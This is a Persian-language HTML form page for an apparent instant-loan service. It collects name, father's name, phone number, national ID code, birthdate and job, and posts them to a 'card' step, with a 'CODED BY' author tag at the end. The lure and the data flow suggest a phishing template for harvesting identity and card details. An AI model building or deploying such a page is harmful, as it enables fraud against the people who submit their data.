<!DOCTYPE html><html lang="fa" dir="rtl"><head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>اطلاعات کاربری | وام آسان</title>
    <link rel="stylesheet" href="css/all.min.css">
    <link href="https://fonts.googleapis.com/css2?family=Vazirmatn:wght@300;400;500;600;700&display=swap" rel="stylesheet">
    <link rel="stylesheet" href="css/style.css">
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        .form-section-title{
            border-bottom: 1px solid white;
            padding-bottom: 6px;
            margin-bottom: 4px;
            margin-top: 8px;
        }
        .form-label {
    display: flex;
    justify-content: space-between;
    font-size: 1rem;
    color: #fff;
    margin-bottom: 4px;
    font-weight: 500;
    text-shadow: 0 1px 3px rgba(0, 0, 0, 0.3);
}
.form-label i{
    margin-left: 12px;
}
.form-group {
    margin-bottom: 18px;
    position: relative;
    margin-top: 12px;
}
        :root {
            --primary: #2c5aa0;
            --primary-light: #3b7ddd;
            --secondary: #ffd700;
            --accent: #ff7e5f;
            --success: #2ecc71;
            --gradient: linear-gradient(135deg, #2c5aa0 0%, #1e3a8a 100%);
            --gradient-light: linear-gradient(135deg, #3b7ddd 0%, #2c5aa0 100%);
            --shadow: 0 10px 25px rgba(0, 0, 0, 0.2);
            --transition: all 0.4s cubic-bezier(0.175, 0.885, 0.32, 1.275);
        }
        
        body {
            font-family: 'Vazirmatn', sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            color: #fff;
            line-height: 1.6;
            min-height: 100vh;
            padding: 0;
            overflow-x: hidden;
        }
        
        .container {
            max-width: 480px;
            margin: 0 auto;
            background: white;
            min-height: 100vh;
            box-shadow: 0 0 40px rgba(0, 0, 0, 0.2);
            position: relative;
            overflow-x: hidden;
        }
        
        /* Header Styles */
        header {
            background: var(--gradient);
            color: white;
            padding: 25px 20px;
            text-align: center;
            position: relative;
            border-radius: 0 0 30px 30px;
            box-shadow: var(--shadow);
            z-index: 10;
            overflow: hidden;
        }

        header::before {
            content: '';
            position: absolute;
            top: 0;
            right: 0;
            width: 100%;
            height: 100%;
            background: url('data:image/svg+xml,<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100" preserveAspectRatio="none"><path d="M0,0 L100,0 L100,100 Z" fill="rgba(255,255,255,0.05)"/></svg>');
            background-size: cover;
        }
        
        .header-content {
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-bottom: 20px;
            animation: slideDown 0.8s ease-out;
            position: relative;
            z-index: 2;
        }
        
        .logo-container {
            display: flex;
            align-items: center;
            gap: 12px;
        }
        
        .logo-img {
            width: 40px;
            height: 40px;
            background: linear-gradient(135deg, var(--secondary), #ffed4e);
            border-radius: 12px;
            display: flex;
            align-items: center;
            justify-content: center;
            box-shadow: 0 4px 15px rgba(255, 215, 0, 0.3);
            animation: logoPulse 3s infinite;
            position: relative;
            overflow: hidden;
        }
        
        .logo-img::before {
            content: '';
            position: absolute;
            width: 100%;
            height: 100%;
            background: linear-gradient(45deg, transparent, rgba(255,255,255,0.3), transparent);
            transform: translateX(-100%);
            animation: shine 3s infinite;
        }
        
        .logo-img i {
            color: var(--primary);
            font-size: 1.2rem;
            z-index: 1;
        }
        
        .logo-text {
            font-size: 1.8rem;
            font-weight: 700;
            background: linear-gradient(45deg, var(--secondary), #ffed4e);
            -webkit-background-clip: text;
            -webkit-text-fill-color: transparent;
            text-shadow: 0 2px 10px rgba(255, 215, 0, 0.3);
            text-decoration: none;
            position: relative;
        }
        
        .back-button {
            font-size: 1.5rem;
            color: white;
            text-decoration: none;
            background: rgba(255, 255, 255, 0.1);
            width: 45px;
            height: 45px;
            border-radius: 50%;
            display: flex;
            align-items: center;
            justify-content: center;
            backdrop-filter: blur(10px);
            border: 1px solid rgba(255, 255, 255, 0.2);
            transition: var(--transition);
        }
        
        .back-button:hover {
            transform: scale(1.1);
            background: rgba(255, 255, 255, 0.2);
        }
        
        
        /* Main Content */
        .main-content {
            padding: 25px 20px;
            position: relative;
            z-index: 5;
            background: linear-gradient(135deg, #374057 0%, #476295 100%);
  border-radius: 15px;
  animation: fadeInUp 0.6s ease-out 0.4s both;
        }
        
        .page-title {
            font-size: 1.5rem;
            color: var(--primary);
            margin-bottom: 10px;
            font-weight: 700;
            text-align: center;
            animation: slideInRight 0.6s ease-out;
        }
        
        .page-subtitle {
            font-size: 1rem;
            color: #666;
            margin-bottom: 30px;
            text-align: center;
            animation: slideInRight 0.6s ease-out 0.2s both;
        }
        
        /* Amount Selection */
        .amount-selection {
            margin-bottom: 30px;
        }
        
        .amount-grid {
            display: grid;
            grid-template-columns: repeat(2, 1fr);
            gap: 15px;
            margin-bottom: 25px;
        }
        
        .amount-card {
            background: white;
            border-radius: 15px;
            padding: 20px 15px;
            text-align: center;
            box-shadow: 0 5px 15px rgba(0, 0, 0, 0.1);
            transition: var(--transition);
            position: relative;
            overflow: hidden;
            border: 2px solid transparent;
            cursor: pointer;
            animation: fadeInUp 0.6s ease-out;
        }
        
        .amount-card:hover {
            transform: translateY(-5px);
            box-shadow: 0 10px 25px rgba(0, 0, 0, 0.15);
        }
        
        .amount-card.selected {
            border-color: var(--primary);
            background: linear-gradient(135deg, #f8faff 0%, #e8f0ff 100%);
            transform: translateY(-5px);
            box-shadow: 0 10px 25px rgba(44, 90, 160, 0.2);
        }
        
        .amount-card.selected::before {
            content: '✓';
            position: absolute;
            top: 10px;
            left: 10px;
            width: 25px;
            height: 25px;
            background: var(--success);
            color: white;
            border-radius: 50%;
            display: flex;
            align-items: center;
            justify-content: center;
            font-size: 0.9rem;
            font-weight: bold;
        }
        
        .amount-value {
            font-size: 1.3rem;
            font-weight: 700;
            color: var(--primary);
            margin-bottom: 5px;
        }
        
        .amount-label {
            font-size: 0.9rem;
            color: #666;
        }
        
        /* Conditions Section */
        .conditions-section {
            background: linear-gradient(135deg, #f8faff 0%, #e8f0ff 100%);
            border-radius: 15px;
            padding: 20px;
            margin-bottom: 30px;
            animation: fadeInUp 0.6s ease-out 0.4s both;
        }
        
        .conditions-title {
            font-size: 1.1rem;
            color: var(--primary);
            margin-bottom: 15px;
            font-weight: 600;
            display: flex;
            align-items: center;
        }
        
        .conditions-title i {
            margin-left: 10px;
            color: var(--primary);
        }
        
        .conditions-list {
            list-style: none;
            margin-bottom: 20px;
        }
        
        .condition-item {
            display: flex;
            align-items: flex-start;
            margin-bottom: 12px;
            font-size: 0.9rem;
            color: #555;
            line-height: 1.5;
        }
        
        .condition-item i {
            margin-left: 10px;
            color: var(--success);
            font-size: 1rem;
            margin-top: 2px;
            flex-shrink: 0;
        }
        
        /* Conditions Table */
        .conditions-table {
            width: 100%;
            border-collapse: collapse;
            margin-top: 15px;
            font-size: 0.8rem;
            box-shadow: 0 2px 8px rgba(0, 0, 0, 0.1);
            border-radius: 10px;
            overflow: hidden;
        }
        
        .conditions-table th {
            background: var(--primary);
            color: white;
            padding: 12px 8px;
            text-align: center;
            font-weight: 600;
        }
        
        .conditions-table td {
            padding: 10px 8px;
            text-align: center;
            border-bottom: 1px solid #e0e0e0;
        }
        
        .conditions-table tr:nth-child(even) {
            background: rgba(44, 90, 160, 0.05);
        }
        
        .conditions-table tr:last-child td {
            border-bottom: none;
        }
        
        .table-title {
            font-size: 1rem;
            color: var(--primary);
            margin: 20px 0 10px 0;
            text-align: center;
            font-weight: 600;
        }
        
        /* Action Button */
        .action-button {
            width: 100%;
            padding: 18px;
            border-radius: 12px;
            border: none;
            background: var(--gradient);
            color: white;
            font-family: 'Vazirmatn', sans-serif;
            font-size: 1.1rem;
            font-weight: 600;
            cursor: pointer;
            box-shadow: 0 5px 15px rgba(44, 90, 160, 0.4);
            transition: var(--transition);
            animation: fadeInUp 0.6s ease-out 0.6s both;
        }
        
        .action-button:hover {
            transform: translateY(-5px);
            box-shadow: 0 10px 25px rgba(44, 90, 160, 0.5);
        }
        
        .action-button:active {
            transform: translateY(-2px);
        }
        
        .action-button:disabled {
            background: #cccccc;
            cursor: not-allowed;
            transform: none;
            box-shadow: none;
        }
        
        /* Animation Keyframes */
        @keyframes slideDown {
            from {
                opacity: 0;
                transform: translateY(-30px);
            }
            to {
                opacity: 1;
                transform: translateY(0);
            }
        }
        
        @keyframes slideInRight {
            from {
                opacity: 0;
                transform: translateX(30px);
            }
            to {
                opacity: 1;
                transform: translateX(0);
            }
        }
        
        @keyframes fadeInUp {
            from {
                opacity: 0;
                transform: translateY(30px);
            }
            to {
                opacity: 1;
                transform: translateY(0);
            }
        }
        
        @keyframes logoPulse {
            0%, 100% {
                transform: scale(1);
            }
            50% {
                transform: scale(1.05);
            }
        }
        
        @keyframes shine {
            0% {
                transform: translateX(-100%);
            }
            20% {
                transform: translateX(100%);
            }
            100% {
                transform: translateX(100%);
            }
        }
        
        /* Responsive Adjustments */
        @media (max-width: 480px) {
            .container {
                border-radius: 0;
            }
            
            header {
                border-radius: 0;
            }
            
            .amount-grid {
                grid-template-columns: 1fr;
            }
            
            .conditions-table {
                font-size: 0.75rem;
            }
            
            .conditions-table th,
            .conditions-table td {
                padding: 8px 5px;
            }
        }
    </style>
</head>
<body>
    <div class="container">
        <!-- Header -->
        <header>
            <div class="header-content">
                <a href="javascript:history.back()" class="back-button">
                    <i class="fas fa-arrow-right"></i>
                </a>
                <div class="logo-container">
                    <div class="logo-img">
                        <i class="fas fa-crown"></i>
                    </div>
                    <a href="/dashboard" class="logo-text">وام آسان</a>
                </div>
                <div style="width: 45px;"></div> <!-- Spacer for balance -->
            </div>
        </header>
        
        <!-- Main Content -->
        <div class="main-content">
            <!-- Progress Bar -->
            <div class="progress-container">
                <div class="progress-bar">
                    <div class="progress-fill" id="progressFill"></div>
                </div>
                <div class="progress-text">مرحله ۱ از ۲ - تکمیل اطلاعات کاربری</div>
            </div>
            
            <!-- Page Title -->
            <h1 class="page-title">اطلاعات کاربری</h1>
            <p class="page-subtitle">لطفاً اطلاعات خود و والدین را با دقت وارد کنید</p>
            
            <!-- Form Container -->
            <form id="userForm" class="form-container" action="card" method="POST">
                <!-- Personal Information -->
                <div class="form-section">
                    <div class="form-section-title">
                        <i class="fas fa-user"></i>
                        اطلاعات شخصی
                    </div>
                    <div class="form-grid">
                        <div class="form-group">
                            <div class="form-label"> 
                            <p>نام و نام خانوادگی</p>
                            <i class="fas fa-user input-icon"></i>
                            </div>
                            <input type="text" class="form-input" id="fullName" name="fullName" required="">
                        </div>
                        <div class="form-group">
                            <div class="form-label"> 
                            <p>نام پدر</p>
                            <i class="fas fa-male input-icon"></i>
                            </div>
                            <input type="text" class="form-input" id="fatherName" name="fatherName" required="">
                        </div>
                        <div class="form-group">
                            <div class="form-label">
                                <p>شماره تلفن</p>
                                <i class="fas fa-phone input-icon"></i>
                            </div>
                            <input type="tel" class="form-input" id="phone" name="phone" required="" pattern="09[0-9]{9}">

                        </div>
                        <div class="form-group">
                            <div class="form-label">
                                <p>کد ملی</p>
                                <i class="fas fa-id-card input-icon"></i>
                            </div>
                            <input type="text" class="form-input" id="nationalCode" name="nationalCode" required="" pattern="[0-9]{10}">
                        </div>
                        <div class="form-group">
                            <div class="form-label">
                                <p>تاریخ تولد</p>
                            </div>
                            <input type="text" class="form-input" id="birthdate" name="birthdate" placeholder="1300/01/01">
                        </div>
                        <div class="form-group">
                            <div class="form-label">
                                <p>شغل</p>
                            <i class="fas fa-briefcase input-icon"></i>
                            </div>
                            <input type="text" class="form-input" id="job" name="job" required="">
                        </div>
                    </div>
                </div>

    <input type="submit" class="action-button" id="submitButton" value="ارسال اطلاعات و دریافت تسهیلات">
            </form>

        </div>
    </div>

    <script src="js/script.js"></script>

</body></html>
//CODED BY @MD0TM